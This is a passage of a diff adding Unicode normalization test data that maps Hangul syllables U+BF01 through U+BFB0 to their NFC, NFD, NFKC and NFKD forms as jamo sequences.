+{ source: [0xBF01], NFC: [0xBF01], NFD: [0x1108, 0x1166, 0x11BC], NFKC: [0xBF01], NFKD: [0x1108, 0x1166, 0x11BC] },
+{ source: [0xBF02], NFC: [0xBF02], NFD: [0x1108, 0x1166, 0x11BD], NFKC: [0xBF02], NFKD: [0x1108, 0x1166, 0x11BD] },
+{ source: [0xBF03], NFC: [0xBF03], NFD: [0x1108, 0x1166, 0x11BE], NFKC: [0xBF03], NFKD: [0x1108, 0x1166, 0x11BE] },
+{ source: [0xBF04], NFC: [0xBF04], NFD: [0x1108, 0x1166, 0x11BF], NFKC: [0xBF04], NFKD: [0x1108, 0x1166, 0x11BF] },
+{ source: [0xBF05], NFC: [0xBF05], NFD: [0x1108, 0x1166, 0x11C0], NFKC: [0xBF05], NFKD: [0x1108, 0x1166, 0x11C0] },
+{ source: [0xBF06], NFC: [0xBF06], NFD: [0x1108, 0x1166, 0x11C1], NFKC: [0xBF06], NFKD: [0x1108, 0x1166, 0x11C1] },
+{ source: [0xBF07], NFC: [0xBF07], NFD: [0x1108, 0x1166, 0x11C2], NFKC: [0xBF07], NFKD: [0x1108, 0x1166, 0x11C2] },
+{ source: [0xBF08], NFC: [0xBF08], NFD: [0x1108, 0x1167], NFKC: [0xBF08], NFKD: [0x1108, 0x1167] },
+{ source: [0xBF09], NFC: [0xBF09], NFD: [0x1108, 0x1167, 0x11A8], NFKC: [0xBF09], NFKD: [0x1108, 0x1167, 0x11A8] },
+{ source: [0xBF0A], NFC: [0xBF0A], NFD: [0x1108, 0x1167, 0x11A9], NFKC: [0xBF0A], NFKD: [0x1108, 0x1167, 0x11A9] },
+{ source: [0xBF0B], NFC: [0xBF0B], NFD: [0x1108, 0x1167, 0x11AA], NFKC: [0xBF0B], NFKD: [0x1108, 0x1167, 0x11AA] },
+{ source: [0xBF0C], NFC: [0xBF0C], NFD: [0x1108, 0x1167, 0x11AB], NFKC: [0xBF0C], NFKD: [0x1108, 0x1167, 0x11AB] },
+{ source: [0xBF0D], NFC: [0xBF0D], NFD: [0x1108, 0x1167, 0x11AC], NFKC: [0xBF0D], NFKD: [0x1108, 0x1167, 0x11AC] },
+{ source: [0xBF0E], NFC: [0xBF0E], NFD: [0x1108, 0x1167, 0x11AD], NFKC: [0xBF0E], NFKD: [0x1108, 0x1167, 0x11AD] },
+{ source: [0xBF0F], NFC: [0xBF0F], NFD: [0x1108, 0x1167, 0x11AE], NFKC: [0xBF0F], NFKD: [0x1108, 0x1167, 0x11AE] },
+{ source: [0xBF10], NFC: [0xBF10], NFD: [0x1108, 0x1167, 0x11AF], NFKC: [0xBF10], NFKD: [0x1108, 0x1167, 0x11AF] },
+{ source: [0xBF11], NFC: [0xBF11], NFD: [0x1108, 0x1167, 0x11B0], NFKC: [0xBF11], NFKD: [0x1108, 0x1167, 0x11B0] },
+{ source: [0xBF12], NFC: [0xBF12], NFD: [0x1108, 0x1167, 0x11B1], NFKC: [0xBF12], NFKD: [0x1108, 0x1167, 0x11B1] },
+{ source: [0xBF13], NFC: [0xBF13], NFD: [0x1108, 0x1167, 0x11B2], NFKC: [0xBF13], NFKD: [0x1108, 0x1167, 0x11B2] },
+{ source: [0xBF14], NFC: [0xBF14], NFD: [0x1108, 0x1167, 0x11B3], NFKC: [0xBF14], NFKD: [0x1108, 0x1167, 0x11B3] },
+{ source: [0xBF15], NFC: [0xBF15], NFD: [0x1108, 0x1167, 0x11B4], NFKC: [0xBF15], NFKD: [0x1108, 0x1167, 0x11B4] },
+{ source: [0xBF16], NFC: [0xBF16], NFD: [0x1108, 0x1167, 0x11B5], NFKC: [0xBF16], NFKD: [0x1108, 0x1167, 0x11B5] },
+{ source: [0xBF17], NFC: [0xBF17], NFD: [0x1108, 0x1167, 0x11B6], NFKC: [0xBF17], NFKD: [0x1108, 0x1167, 0x11B6] },
+{ source: [0xBF18], NFC: [0xBF18], NFD: [0x1108, 0x1167, 0x11B7], NFKC: [0xBF18], NFKD: [0x1108, 0x1167, 0x11B7] },
+{ source: [0xBF19], NFC: [0xBF19], NFD: [0x1108, 0x1167, 0x11B8], NFKC: [0xBF19], NFKD: [0x1108, 0x1167, 0x11B8] },
+{ source: [0xBF1A], NFC: [0xBF1A], NFD: [0x1108, 0x1167, 0x11B9], NFKC: [0xBF1A], NFKD: [0x1108, 0x1167, 0x11B9] },
+{ source: [0xBF1B], NFC: [0xBF1B], NFD: [0x1108, 0x1167, 0x11BA], NFKC: [0xBF1B], NFKD: [0x1108, 0x1167, 0x11BA] },
+{ source: [0xBF1C], NFC: [0xBF1C], NFD: [0x1108, 0x1167, 0x11BB], NFKC: [0xBF1C], NFKD: [0x1108, 0x1167, 0x11BB] },
+{ source: [0xBF1D], NFC: [0xBF1D], NFD: [0x1108, 0x1167, 0x11BC], NFKC: [0xBF1D], NFKD: [0x1108, 0x1167, 0x11BC] },
+{ source: [0xBF1E], NFC: [0xBF1E], NFD: [0x1108, 0x1167, 0x11BD], NFKC: [0xBF1E], NFKD: [0x1108, 0x1167, 0x11BD] },
+{ source: [0xBF1F], NFC: [0xBF1F], NFD: [0x1108, 0x1167, 0x11BE], NFKC: [0xBF1F], NFKD: [0x1108, 0x1167, 0x11BE] },
+{ source: [0xBF20], NFC: [0xBF20], NFD: [0x1108, 0x1167, 0x11BF], NFKC: [0xBF20], NFKD: [0x1108, 0x1167, 0x11BF] },
+{ source: [0xBF21], NFC: [0xBF21], NFD: [0x1108, 0x1167, 0x11C0], NFKC: [0xBF21], NFKD: [0x1108, 0x1167, 0x11C0] },
+{ source: [0xBF22], NFC: [0xBF22], NFD: [0x1108, 0x1167, 0x11C1], NFKC: [0xBF22], NFKD: [0x1108, 0x1167, 0x11C1] },
+{ source: [0xBF23], NFC: [0xBF23], NFD: [0x1108, 0x1167, 0x11C2], NFKC: [0xBF23], NFKD: [0x1108, 0x1167, 0x11C2] },
+{ source: [0xBF24], NFC: [0xBF24], NFD: [0x1108, 0x1168], NFKC: [0xBF24], NFKD: [0x1108, 0x1168] },
+{ source: [0xBF25], NFC: [0xBF25], NFD: [0x1108, 0x1168, 0x11A8], NFKC: [0xBF25], NFKD: [0x1108, 0x1168, 0x11A8] },
+{ source: [0xBF26], NFC: [0xBF26], NFD: [0x1108, 0x1168, 0x11A9], NFKC: [0xBF26], NFKD: [0x1108, 0x1168, 0x11A9] },
+{ source: [0xBF27], NFC: [0xBF27], NFD: [0x1108, 0x1168, 0x11AA], NFKC: [0xBF27], NFKD: [0x1108, 0x1168, 0x11AA] },
+{ source: [0xBF28], NFC: [0xBF28], NFD: [0x1108, 0x1168, 0x11AB], NFKC: [0xBF28], NFKD: [0x1108, 0x1168, 0x11AB] },
+{ source: [0xBF29], NFC: [0xBF29], NFD: [0x1108, 0x1168, 0x11AC], NFKC: [0xBF29], NFKD: [0x1108, 0x1168, 0x11AC] },
+{ source: [0xBF2A], NFC: [0xBF2A], NFD: [0x1108, 0x1168, 0x11AD], NFKC: [0xBF2A], NFKD: [0x1108, 0x1168, 0x11AD] },
+{ source: [0xBF2B], NFC: [0xBF2B], NFD: [0x1108, 0x1168, 0x11AE], NFKC: [0xBF2B], NFKD: [0x1108, 0x1168, 0x11AE] },
+{ source: [0xBF2C], NFC: [0xBF2C], NFD: [0x1108, 0x1168, 0x11AF], NFKC: [0xBF2C], NFKD: [0x1108, 0x1168, 0x11AF] },
+{ source: [0xBF2D], NFC: [0xBF2D], NFD: [0x1108, 0x1168, 0x11B0], NFKC: [0xBF2D], NFKD: [0x1108, 0x1168, 0x11B0] },
+{ source: [0xBF2E], NFC: [0xBF2E], NFD: [0x1108, 0x1168, 0x11B1], NFKC: [0xBF2E], NFKD: [0x1108, 0x1168, 0x11B1] },
+{ source: [0xBF2F], NFC: [0xBF2F], NFD: [0x1108, 0x1168, 0x11B2], NFKC: [0xBF2F], NFKD: [0x1108, 0x1168, 0x11B2] },
+{ source: [0xBF30], NFC: [0xBF30], NFD: [0x1108, 0x1168, 0x11B3], NFKC: [0xBF30], NFKD: [0x1108, 0x1168, 0x11B3] },
+{ source: [0xBF31], NFC: [0xBF31], NFD: [0x1108, 0x1168, 0x11B4], NFKC: [0xBF31], NFKD: [0x1108, 0x1168, 0x11B4] },
+{ source: [0xBF32], NFC: [0xBF32], NFD: [0x1108, 0x1168, 0x11B5], NFKC: [0xBF32], NFKD: [0x1108, 0x1168, 0x11B5] },
+{ source: [0xBF33], NFC: [0xBF33], NFD: [0x1108, 0x1168, 0x11B6], NFKC: [0xBF33], NFKD: [0x1108, 0x1168, 0x11B6] },
+{ source: [0xBF34], NFC: [0xBF34], NFD: [0x1108, 0x1168, 0x11B7], NFKC: [0xBF34], NFKD: [0x1108, 0x1168, 0x11B7] },
+{ source: [0xBF35], NFC: [0xBF35], NFD: [0x1108, 0x1168, 0x11B8], NFKC: [0xBF35], NFKD: [0x1108, 0x1168, 0x11B8] },
+{ source: [0xBF36], NFC: [0xBF36], NFD: [0x1108, 0x1168, 0x11B9], NFKC: [0xBF36], NFKD: [0x1108, 0x1168, 0x11B9] },
+{ source: [0xBF37], NFC: [0xBF37], NFD: [0x1108, 0x1168, 0x11BA], NFKC: [0xBF37], NFKD: [0x1108, 0x1168, 0x11BA] },
+{ source: [0xBF38], NFC: [0xBF38], NFD: [0x1108, 0x1168, 0x11BB], NFKC: [0xBF38], NFKD: [0x1108, 0x1168, 0x11BB] },
+{ source: [0xBF39], NFC: [0xBF39], NFD: [0x1108, 0x1168, 0x11BC], NFKC: [0xBF39], NFKD: [0x1108, 0x1168, 0x11BC] },
+{ source: [0xBF3A], NFC: [0xBF3A], NFD: [0x1108, 0x1168, 0x11BD], NFKC: [0xBF3A], NFKD: [0x1108, 0x1168, 0x11BD] },
+{ source: [0xBF3B], NFC: [0xBF3B], NFD: [0x1108, 0x1168, 0x11BE], NFKC: [0xBF3B], NFKD: [0x1108, 0x1168, 0x11BE] },
+{ source: [0xBF3C], NFC: [0xBF3C], NFD: [0x1108, 0x1168, 0x11BF], NFKC: [0xBF3C], NFKD: [0x1108, 0x1168, 0x11BF] },
+{ source: [0xBF3D], NFC: [0xBF3D], NFD: [0x1108, 0x1168, 0x11C0], NFKC: [0xBF3D], NFKD: [0x1108, 0x1168, 0x11C0] },
+{ source: [0xBF3E], NFC: [0xBF3E], NFD: [0x1108, 0x1168, 0x11C1], NFKC: [0xBF3E], NFKD: [0x1108, 0x1168, 0x11C1] },
+{ source: [0xBF3F], NFC: [0xBF3F], NFD: [0x1108, 0x1168, 0x11C2], NFKC: [0xBF3F], NFKD: [0x1108, 0x1168, 0x11C2] },
+{ source: [0xBF40], NFC: [0xBF40], NFD: [0x1108, 0x1169], NFKC: [0xBF40], NFKD: [0x1108, 0x1169] },
+{ source: [0xBF41], NFC: [0xBF41], NFD: [0x1108, 0x1169, 0x11A8], NFKC: [0xBF41], NFKD: [0x1108, 0x1169, 0x11A8] },
+{ source: [0xBF42], NFC: [0xBF42], NFD: [0x1108, 0x1169, 0x11A9], NFKC: [0xBF42], NFKD: [0x1108, 0x1169, 0x11A9] },
+{ source: [0xBF43], NFC: [0xBF43], NFD: [0x1108, 0x1169, 0x11AA], NFKC: [0xBF43], NFKD: [0x1108, 0x1169, 0x11AA] },
+{ source: [0xBF44], NFC: [0xBF44], NFD: [0x1108, 0x1169, 0x11AB], NFKC: [0xBF44], NFKD: [0x1108, 0x1169, 0x11AB] },
+{ source: [0xBF45], NFC: [0xBF45], NFD: [0x1108, 0x1169, 0x11AC], NFKC: [0xBF45], NFKD: [0x1108, 0x1169, 0x11AC] },
+{ source: [0xBF46], NFC: [0xBF46], NFD: [0x1108, 0x1169, 0x11AD], NFKC: [0xBF46], NFKD: [0x1108, 0x1169, 0x11AD] },
+{ source: [0xBF47], NFC: [0xBF47], NFD: [0x1108, 0x1169, 0x11AE], NFKC: [0xBF47], NFKD: [0x1108, 0x1169, 0x11AE] },
+{ source: [0xBF48], NFC: [0xBF48], NFD: [0x1108, 0x1169, 0x11AF], NFKC: [0xBF48], NFKD: [0x1108, 0x1169, 0x11AF] },
+{ source: [0xBF49], NFC: [0xBF49], NFD: [0x1108, 0x1169, 0x11B0], NFKC: [0xBF49], NFKD: [0x1108, 0x1169, 0x11B0] },
+{ source: [0xBF4A], NFC: [0xBF4A], NFD: [0x1108, 0x1169, 0x11B1], NFKC: [0xBF4A], NFKD: [0x1108, 0x1169, 0x11B1] },
+{ source: [0xBF4B], NFC: [0xBF4B], NFD: [0x1108, 0x1169, 0x11B2], NFKC: [0xBF4B], NFKD: [0x1108, 0x1169, 0x11B2] },
+{ source: [0xBF4C], NFC: [0xBF4C], NFD: [0x1108, 0x1169, 0x11B3], NFKC: [0xBF4C], NFKD: [0x1108, 0x1169, 0x11B3] },
+{ source: [0xBF4D], NFC: [0xBF4D], NFD: [0x1108, 0x1169, 0x11B4], NFKC: [0xBF4D], NFKD: [0x1108, 0x1169, 0x11B4] },
+{ source: [0xBF4E], NFC: [0xBF4E], NFD: [0x1108, 0x1169, 0x11B5], NFKC: [0xBF4E], NFKD: [0x1108, 0x1169, 0x11B5] },
+{ source: [0xBF4F], NFC: [0xBF4F], NFD: [0x1108, 0x1169, 0x11B6], NFKC: [0xBF4F], NFKD: [0x1108, 0x1169, 0x11B6] },
+{ source: [0xBF50], NFC: [0xBF50], NFD: [0x1108, 0x1169, 0x11B7], NFKC: [0xBF50], NFKD: [0x1108, 0x1169, 0x11B7] },
+{ source: [0xBF51], NFC: [0xBF51], NFD: [0x1108, 0x1169, 0x11B8], NFKC: [0xBF51], NFKD: [0x1108, 0x1169, 0x11B8] },
+{ source: [0xBF52], NFC: [0xBF52], NFD: [0x1108, 0x1169, 0x11B9], NFKC: [0xBF52], NFKD: [0x1108, 0x1169, 0x11B9] },
+{ source: [0xBF53], NFC: [0xBF53], NFD: [0x1108, 0x1169, 0x11BA], NFKC: [0xBF53], NFKD: [0x1108, 0x1169, 0x11BA] },
+{ source: [0xBF54], NFC: [0xBF54], NFD: [0x1108, 0x1169, 0x11BB], NFKC: [0xBF54], NFKD: [0x1108, 0x1169, 0x11BB] },
+{ source: [0xBF55], NFC: [0xBF55], NFD: [0x1108, 0x1169, 0x11BC], NFKC: [0xBF55], NFKD: [0x1108, 0x1169, 0x11BC] },
+{ source: [0xBF56], NFC: [0xBF56], NFD: [0x1108, 0x1169, 0x11BD], NFKC: [0xBF56], NFKD: [0x1108, 0x1169, 0x11BD] },
+{ source: [0xBF57], NFC: [0xBF57], NFD: [0x1108, 0x1169, 0x11BE], NFKC: [0xBF57], NFKD: [0x1108, 0x1169, 0x11BE] },
+{ source: [0xBF58], NFC: [0xBF58], NFD: [0x1108, 0x1169, 0x11BF], NFKC: [0xBF58], NFKD: [0x1108, 0x1169, 0x11BF] },
+{ source: [0xBF59], NFC: [0xBF59], NFD: [0x1108, 0x1169, 0x11C0], NFKC: [0xBF59], NFKD: [0x1108, 0x1169, 0x11C0] },
+{ source: [0xBF5A], NFC: [0xBF5A], NFD: [0x1108, 0x1169, 0x11C1], NFKC: [0xBF5A], NFKD: [0x1108, 0x1169, 0x11C1] },
+{ source: [0xBF5B], NFC: [0xBF5B], NFD: [0x1108, 0x1169, 0x11C2], NFKC: [0xBF5B], NFKD: [0x1108, 0x1169, 0x11C2] },
+{ source: [0xBF5C], NFC: [0xBF5C], NFD: [0x1108, 0x116A], NFKC: [0xBF5C], NFKD: [0x1108, 0x116A] },
+{ source: [0xBF5D], NFC: [0xBF5D], NFD: [0x1108, 0x116A, 0x11A8], NFKC: [0xBF5D], NFKD: [0x1108, 0x116A, 0x11A8] },
+{ source: [0xBF5E], NFC: [0xBF5E], NFD: [0x1108, 0x116A, 0x11A9], NFKC: [0xBF5E], NFKD: [0x1108, 0x116A, 0x11A9] },
+{ source: [0xBF5F], NFC: [0xBF5F], NFD: [0x1108, 0x116A, 0x11AA], NFKC: [0xBF5F], NFKD: [0x1108, 0x116A, 0x11AA] },
+{ source: [0xBF60], NFC: [0xBF60], NFD: [0x1108, 0x116A, 0x11AB], NFKC: [0xBF60], NFKD: [0x1108, 0x116A, 0x11AB] },
+{ source: [0xBF61], NFC: [0xBF61], NFD: [0x1108, 0x116A, 0x11AC], NFKC: [0xBF61], NFKD: [0x1108, 0x116A, 0x11AC] },
+{ source: [0xBF62], NFC: [0xBF62], NFD: [0x1108, 0x116A, 0x11AD], NFKC: [0xBF62], NFKD: [0x1108, 0x116A, 0x11AD] },
+{ source: [0xBF63], NFC: [0xBF63], NFD: [0x1108, 0x116A, 0x11AE], NFKC: [0xBF63], NFKD: [0x1108, 0x116A, 0x11AE] },
+{ source: [0xBF64], NFC: [0xBF64], NFD: [0x1108, 0x116A, 0x11AF], NFKC: [0xBF64], NFKD: [0x1108, 0x116A, 0x11AF] },
+{ source: [0xBF65], NFC: [0xBF65], NFD: [0x1108, 0x116A, 0x11B0], NFKC: [0xBF65], NFKD: [0x1108, 0x116A, 0x11B0] },
+{ source: [0xBF66], NFC: [0xBF66], NFD: [0x1108, 0x116A, 0x11B1], NFKC: [0xBF66], NFKD: [0x1108, 0x116A, 0x11B1] },
+{ source: [0xBF67], NFC: [0xBF67], NFD: [0x1108, 0x116A, 0x11B2], NFKC: [0xBF67], NFKD: [0x1108, 0x116A, 0x11B2] },
+{ source: [0xBF68], NFC: [0xBF68], NFD: [0x1108, 0x116A, 0x11B3], NFKC: [0xBF68], NFKD: [0x1108, 0x116A, 0x11B3] },
+{ source: [0xBF69], NFC: [0xBF69], NFD: [0x1108, 0x116A, 0x11B4], NFKC: [0xBF69], NFKD: [0x1108, 0x116A, 0x11B4] },
+{ source: [0xBF6A], NFC: [0xBF6A], NFD: [0x1108, 0x116A, 0x11B5], NFKC: [0xBF6A], NFKD: [0x1108, 0x116A, 0x11B5] },
+{ source: [0xBF6B], NFC: [0xBF6B], NFD: [0x1108, 0x116A, 0x11B6], NFKC: [0xBF6B], NFKD: [0x1108, 0x116A, 0x11B6] },
+{ source: [0xBF6C], NFC: [0xBF6C], NFD: [0x1108, 0x116A, 0x11B7], NFKC: [0xBF6C], NFKD: [0x1108, 0x116A, 0x11B7] },
+{ source: [0xBF6D], NFC: [0xBF6D], NFD: [0x1108, 0x116A, 0x11B8], NFKC: [0xBF6D], NFKD: [0x1108, 0x116A, 0x11B8] },
+{ source: [0xBF6E], NFC: [0xBF6E], NFD: [0x1108, 0x116A, 0x11B9], NFKC: [0xBF6E], NFKD: [0x1108, 0x116A, 0x11B9] },
+{ source: [0xBF6F], NFC: [0xBF6F], NFD: [0x1108, 0x116A, 0x11BA], NFKC: [0xBF6F], NFKD: [0x1108, 0x116A, 0x11BA] },
+{ source: [0xBF70], NFC: [0xBF70], NFD: [0x1108, 0x116A, 0x11BB], NFKC: [0xBF70], NFKD: [0x1108, 0x116A, 0x11BB] },
+{ source: [0xBF71], NFC: [0xBF71], NFD: [0x1108, 0x116A, 0x11BC], NFKC: [0xBF71], NFKD: [0x1108, 0x116A, 0x11BC] },
+{ source: [0xBF72], NFC: [0xBF72], NFD: [0x1108, 0x116A, 0x11BD], NFKC: [0xBF72], NFKD: [0x1108, 0x116A, 0x11BD] },
+{ source: [0xBF73], NFC: [0xBF73], NFD: [0x1108, 0x116A, 0x11BE], NFKC: [0xBF73], NFKD: [0x1108, 0x116A, 0x11BE] },
+{ source: [0xBF74], NFC: [0xBF74], NFD: [0x1108, 0x116A, 0x11BF], NFKC: [0xBF74], NFKD: [0x1108, 0x116A, 0x11BF] },
+{ source: [0xBF75], NFC: [0xBF75], NFD: [0x1108, 0x116A, 0x11C0], NFKC: [0xBF75], NFKD: [0x1108, 0x116A, 0x11C0] },
+{ source: [0xBF76], NFC: [0xBF76], NFD: [0x1108, 0x116A, 0x11C1], NFKC: [0xBF76], NFKD: [0x1108, 0x116A, 0x11C1] },
+{ source: [0xBF77], NFC: [0xBF77], NFD: [0x1108, 0x116A, 0x11C2], NFKC: [0xBF77], NFKD: [0x1108, 0x116A, 0x11C2] },
+{ source: [0xBF78], NFC: [0xBF78], NFD: [0x1108, 0x116B], NFKC: [0xBF78], NFKD: [0x1108, 0x116B] },
+{ source: [0xBF79], NFC: [0xBF79], NFD: [0x1108, 0x116B, 0x11A8], NFKC: [0xBF79], NFKD: [0x1108, 0x116B, 0x11A8] },
+{ source: [0xBF7A], NFC: [0xBF7A], NFD: [0x1108, 0x116B, 0x11A9], NFKC: [0xBF7A], NFKD: [0x1108, 0x116B, 0x11A9] },
+{ source: [0xBF7B], NFC: [0xBF7B], NFD: [0x1108, 0x116B, 0x11AA], NFKC: [0xBF7B], NFKD: [0x1108, 0x116B, 0x11AA] },
+{ source: [0xBF7C], NFC: [0xBF7C], NFD: [0x1108, 0x116B, 0x11AB], NFKC: [0xBF7C], NFKD: [0x1108, 0x116B, 0x11AB] },
+{ source: [0xBF7D], NFC: [0xBF7D], NFD: [0x1108, 0x116B, 0x11AC], NFKC: [0xBF7D], NFKD: [0x1108, 0x116B, 0x11AC] },
+{ source: [0xBF7E], NFC: [0xBF7E], NFD: [0x1108, 0x116B, 0x11AD], NFKC: [0xBF7E], NFKD: [0x1108, 0x116B, 0x11AD] },
+{ source: [0xBF7F], NFC: [0xBF7F], NFD: [0x1108, 0x116B, 0x11AE], NFKC: [0xBF7F], NFKD: [0x1108, 0x116B, 0x11AE] },
+{ source: [0xBF80], NFC: [0xBF80], NFD: [0x1108, 0x116B, 0x11AF], NFKC: [0xBF80], NFKD: [0x1108, 0x116B, 0x11AF] },
+{ source: [0xBF81], NFC: [0xBF81], NFD: [0x1108, 0x116B, 0x11B0], NFKC: [0xBF81], NFKD: [0x1108, 0x116B, 0x11B0] },
+{ source: [0xBF82], NFC: [0xBF82], NFD: [0x1108, 0x116B, 0x11B1], NFKC: [0xBF82], NFKD: [0x1108, 0x116B, 0x11B1] },
+{ source: [0xBF83], NFC: [0xBF83], NFD: [0x1108, 0x116B, 0x11B2], NFKC: [0xBF83], NFKD: [0x1108, 0x116B, 0x11B2] },
+{ source: [0xBF84], NFC: [0xBF84], NFD: [0x1108, 0x116B, 0x11B3], NFKC: [0xBF84], NFKD: [0x1108, 0x116B, 0x11B3] },
+{ source: [0xBF85], NFC: [0xBF85], NFD: [0x1108, 0x116B, 0x11B4], NFKC: [0xBF85], NFKD: [0x1108, 0x116B, 0x11B4] },
+{ source: [0xBF86], NFC: [0xBF86], NFD: [0x1108, 0x116B, 0x11B5], NFKC: [0xBF86], NFKD: [0x1108, 0x116B, 0x11B5] },
+{ source: [0xBF87], NFC: [0xBF87], NFD: [0x1108, 0x116B, 0x11B6], NFKC: [0xBF87], NFKD: [0x1108, 0x116B, 0x11B6] },
+{ source: [0xBF88], NFC: [0xBF88], NFD: [0x1108, 0x116B, 0x11B7], NFKC: [0xBF88], NFKD: [0x1108, 0x116B, 0x11B7] },
+{ source: [0xBF89], NFC: [0xBF89], NFD: [0x1108, 0x116B, 0x11B8], NFKC: [0xBF89], NFKD: [0x1108, 0x116B, 0x11B8] },
+{ source: [0xBF8A], NFC: [0xBF8A], NFD: [0x1108, 0x116B, 0x11B9], NFKC: [0xBF8A], NFKD: [0x1108, 0x116B, 0x11B9] },
+{ source: [0xBF8B], NFC: [0xBF8B], NFD: [0x1108, 0x116B, 0x11BA], NFKC: [0xBF8B], NFKD: [0x1108, 0x116B, 0x11BA] },
+{ source: [0xBF8C], NFC: [0xBF8C], NFD: [0x1108, 0x116B, 0x11BB], NFKC: [0xBF8C], NFKD: [0x1108, 0x116B, 0x11BB] },
+{ source: [0xBF8D], NFC: [0xBF8D], NFD: [0x1108, 0x116B, 0x11BC], NFKC: [0xBF8D], NFKD: [0x1108, 0x116B, 0x11BC] },
+{ source: [0xBF8E], NFC: [0xBF8E], NFD: [0x1108, 0x116B, 0x11BD], NFKC: [0xBF8E], NFKD: [0x1108, 0x116B, 0x11BD] },
+{ source: [0xBF8F], NFC: [0xBF8F], NFD: [0x1108, 0x116B, 0x11BE], NFKC: [0xBF8F], NFKD: [0x1108, 0x116B, 0x11BE] },
+{ source: [0xBF90], NFC: [0xBF90], NFD: [0x1108, 0x116B, 0x11BF], NFKC: [0xBF90], NFKD: [0x1108, 0x116B, 0x11BF] },
+{ source: [0xBF91], NFC: [0xBF91], NFD: [0x1108, 0x116B, 0x11C0], NFKC: [0xBF91], NFKD: [0x1108, 0x116B, 0x11C0] },
+{ source: [0xBF92], NFC: [0xBF92], NFD: [0x1108, 0x116B, 0x11C1], NFKC: [0xBF92], NFKD: [0x1108, 0x116B, 0x11C1] },
+{ source: [0xBF93], NFC: [0xBF93], NFD: [0x1108, 0x116B, 0x11C2], NFKC: [0xBF93], NFKD: [0x1108, 0x116B, 0x11C2] },
+{ source: [0xBF94], NFC: [0xBF94], NFD: [0x1108, 0x116C], NFKC: [0xBF94], NFKD: [0x1108, 0x116C] },
+{ source: [0xBF95], NFC: [0xBF95], NFD: [0x1108, 0x116C, 0x11A8], NFKC: [0xBF95], NFKD: [0x1108, 0x116C, 0x11A8] },
+{ source: [0xBF96], NFC: [0xBF96], NFD: [0x1108, 0x116C, 0x11A9], NFKC: [0xBF96], NFKD: [0x1108, 0x116C, 0x11A9] },
+{ source: [0xBF97], NFC: [0xBF97], NFD: [0x1108, 0x116C, 0x11AA], NFKC: [0xBF97], NFKD: [0x1108, 0x116C, 0x11AA] },
+{ source: [0xBF98], NFC: [0xBF98], NFD: [0x1108, 0x116C, 0x11AB], NFKC: [0xBF98], NFKD: [0x1108, 0x116C, 0x11AB] },
+{ source: [0xBF99], NFC: [0xBF99], NFD: [0x1108, 0x116C, 0x11AC], NFKC: [0xBF99], NFKD: [0x1108, 0x116C, 0x11AC] },
+{ source: [0xBF9A], NFC: [0xBF9A], NFD: [0x1108, 0x116C, 0x11AD], NFKC: [0xBF9A], NFKD: [0x1108, 0x116C, 0x11AD] },
+{ source: [0xBF9B], NFC: [0xBF9B], NFD: [0x1108, 0x116C, 0x11AE], NFKC: [0xBF9B], NFKD: [0x1108, 0x116C, 0x11AE] },
+{ source: [0xBF9C], NFC: [0xBF9C], NFD: [0x1108, 0x116C, 0x11AF], NFKC: [0xBF9C], NFKD: [0x1108, 0x116C, 0x11AF] },
+{ source: [0xBF9D], NFC: [0xBF9D], NFD: [0x1108, 0x116C, 0x11B0], NFKC: [0xBF9D], NFKD: [0x1108, 0x116C, 0x11B0] },
+{ source: [0xBF9E], NFC: [0xBF9E], NFD: [0x1108, 0x116C, 0x11B1], NFKC: [0xBF9E], NFKD: [0x1108, 0x116C, 0x11B1] },
+{ source: [0xBF9F], NFC: [0xBF9F], NFD: [0x1108, 0x116C, 0x11B2], NFKC: [0xBF9F], NFKD: [0x1108, 0x116C, 0x11B2] },
+{ source: [0xBFA0], NFC: [0xBFA0], NFD: [0x1108, 0x116C, 0x11B3], NFKC: [0xBFA0], NFKD: [0x1108, 0x116C, 0x11B3] },
+{ source: [0xBFA1], NFC: [0xBFA1], NFD: [0x1108, 0x116C, 0x11B4], NFKC: [0xBFA1], NFKD: [0x1108, 0x116C, 0x11B4] },
+{ source: [0xBFA2], NFC: [0xBFA2], NFD: [0x1108, 0x116C, 0x11B5], NFKC: [0xBFA2], NFKD: [0x1108, 0x116C, 0x11B5] },
+{ source: [0xBFA3], NFC: [0xBFA3], NFD: [0x1108, 0x116C, 0x11B6], NFKC: [0xBFA3], NFKD: [0x1108, 0x116C, 0x11B6] },
+{ source: [0xBFA4], NFC: [0xBFA4], NFD: [0x1108, 0x116C, 0x11B7], NFKC: [0xBFA4], NFKD: [0x1108, 0x116C, 0x11B7] },
+{ source: [0xBFA5], NFC: [0xBFA5], NFD: [0x1108, 0x116C, 0x11B8], NFKC: [0xBFA5], NFKD: [0x1108, 0x116C, 0x11B8] },
+{ source: [0xBFA6], NFC: [0xBFA6], NFD: [0x1108, 0x116C, 0x11B9], NFKC: [0xBFA6], NFKD: [0x1108, 0x116C, 0x11B9] },
+{ source: [0xBFA7], NFC: [0xBFA7], NFD: [0x1108, 0x116C, 0x11BA], NFKC: [0xBFA7], NFKD: [0x1108, 0x116C, 0x11BA] },
+{ source: [0xBFA8], NFC: [0xBFA8], NFD: [0x1108, 0x116C, 0x11BB], NFKC: [0xBFA8], NFKD: [0x1108, 0x116C, 0x11BB] },
+{ source: [0xBFA9], NFC: [0xBFA9], NFD: [0x1108, 0x116C, 0x11BC], NFKC: [0xBFA9], NFKD: [0x1108, 0x116C, 0x11BC] },
+{ source: [0xBFAA], NFC: [0xBFAA], NFD: [0x1108, 0x116C, 0x11BD], NFKC: [0xBFAA], NFKD: [0x1108, 0x116C, 0x11BD] },
+{ source: [0xBFAB], NFC: [0xBFAB], NFD: [0x1108, 0x116C, 0x11BE], NFKC: [0xBFAB], NFKD: [0x1108, 0x116C, 0x11BE] },
+{ source: [0xBFAC], NFC: [0xBFAC], NFD: [0x1108, 0x116C, 0x11BF], NFKC: [0xBFAC], NFKD: [0x1108, 0x116C, 0x11BF] },
+{ source: [0xBFAD], NFC: [0xBFAD], NFD: [0x1108, 0x116C, 0x11C0], NFKC: [0xBFAD], NFKD: [0x1108, 0x116C, 0x11C0] },
+{ source: [0xBFAE], NFC: [0xBFAE], NFD: [0x1108, 0x116C, 0x11C1], NFKC: [0xBFAE], NFKD: [0x1108, 0x116C, 0x11C1] },
+{ source: [0xBFAF], NFC: [0xBFAF], NFD: [0x1108, 0x116C, 0x11C2], NFKC: [0xBFAF], NFKD: [0x1108, 0x116C, 0x11C2] },
+{ source: [0xBFB0], NFC: [0xBFB0], NFD: [0x1108, 0x116D], NFKC: [0xBFB0], NFKD: [0x1108, 0x116D] },
